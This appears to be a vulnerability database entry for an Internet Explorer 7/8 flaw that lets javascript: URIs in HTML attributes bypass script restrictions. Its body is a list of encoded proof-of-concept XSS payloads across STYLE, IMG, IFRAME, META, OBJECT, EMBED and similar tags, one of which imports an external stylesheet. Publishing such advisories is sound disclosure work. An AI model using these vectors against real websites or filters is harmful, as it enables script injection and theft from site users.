Microsoft Internet Explorer 7/8 HTML Attribute JavaScript URI Security Bypass Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Microsoft Internet Explorer 7/8 HTML Attribute JavaScript URI Security Bypass Vulnerability. Vulnerability allows bypassing JavaScript execution restrictions


                                                source: http://www.securityfocus.com/bid/35455/info

Microsoft Internet Explorer is prone to a security-bypass vulnerability because it fails to properly enforce restrictions on script behavior.

An attacker may exploit this issue to bypass restrictions on the execution of JavaScript code. This may aid in further attacks. 

&#60;STYLE&#62;@import &#39;javascript:alert(&#34;xss1&#34;)&#39;;&#60;/STYLE&#62; &#60;IMG SRC=javascript:alert(&#39;XSS2&#39;)&#62; &#60;BODY BACKGROUND=&#34;javascript:alert(&#39;XSS3&#39;)&#34;&#62; &#60;LINK REL=&#34;stylesheet&#34; HREF=&#34;javascript:alert(&#39;XSS4&#39;);&#34;&#62; &#60;META HTTP-EQUIV=&#34;refresh&#34; CONTENT=&#34;0;url=javascript:alert(&#39;XSS5&#39;);&#34;&#62; &#60;IFRAME SRC=&#34;javascript:alert(&#39;XSS6&#39;);&#34;&#62;&#60;/IFRAME&#62; &#60;DIV STYLE=&#34;background-image: url(javascript:alert(&#39;XSS7&#39;))&#34;&#62; &#60;STYLE&#62;.XSS{background-image:url(&#34;javascript:alert(&#39;XSS8&#39;)&#34;);}&#60;/STYLE&#62;&#60;A CLASS=XSS&#62;&#60;/A&#62; &#60;STYLE type=&#34;text/css&#34;&#62;BODY{background:url(&#34;javascript:alert(&#39;XSS9&#39;)&#34;)}&#60;/STYLE&#62; &#60;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&#62;&#60;param name=url value=javascript:alert(&#39;XSS10&#39;)&#62;&#60;/OBJECT&#62; &#60;STYLE&#62;@import&#39;http://example.com/xss.css&#39;;&#60;/STYLE&#62; &#60;script SRC=&#34;javascript:alert(&#39;xss11&#39;);&#34;&#62;&#60;/script&#62; &#60;video SRC=&#34;javascript:alert(&#39;xss12&#39;);&#34;&#60;/video&#62; &#60;LAYER SRC=&#34;javascript:alert(&#39;xss13&#39;)&#34;&#62;&#60;/LAYER&#62; &#60;embed src=&#34;javascript:alert(&#39;xss14&#39;)&#34; type=&#34;application/x-shockwave-flash&#34; allowscriptaccess=&#34;always&#34; width=&#34;0&#34; height=&#34;0&#34;&#62;&#60;/embed&#62; &#60;applet src=&#34;javascript:alert(&#39;xss15&#39;)&#34; type=text/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1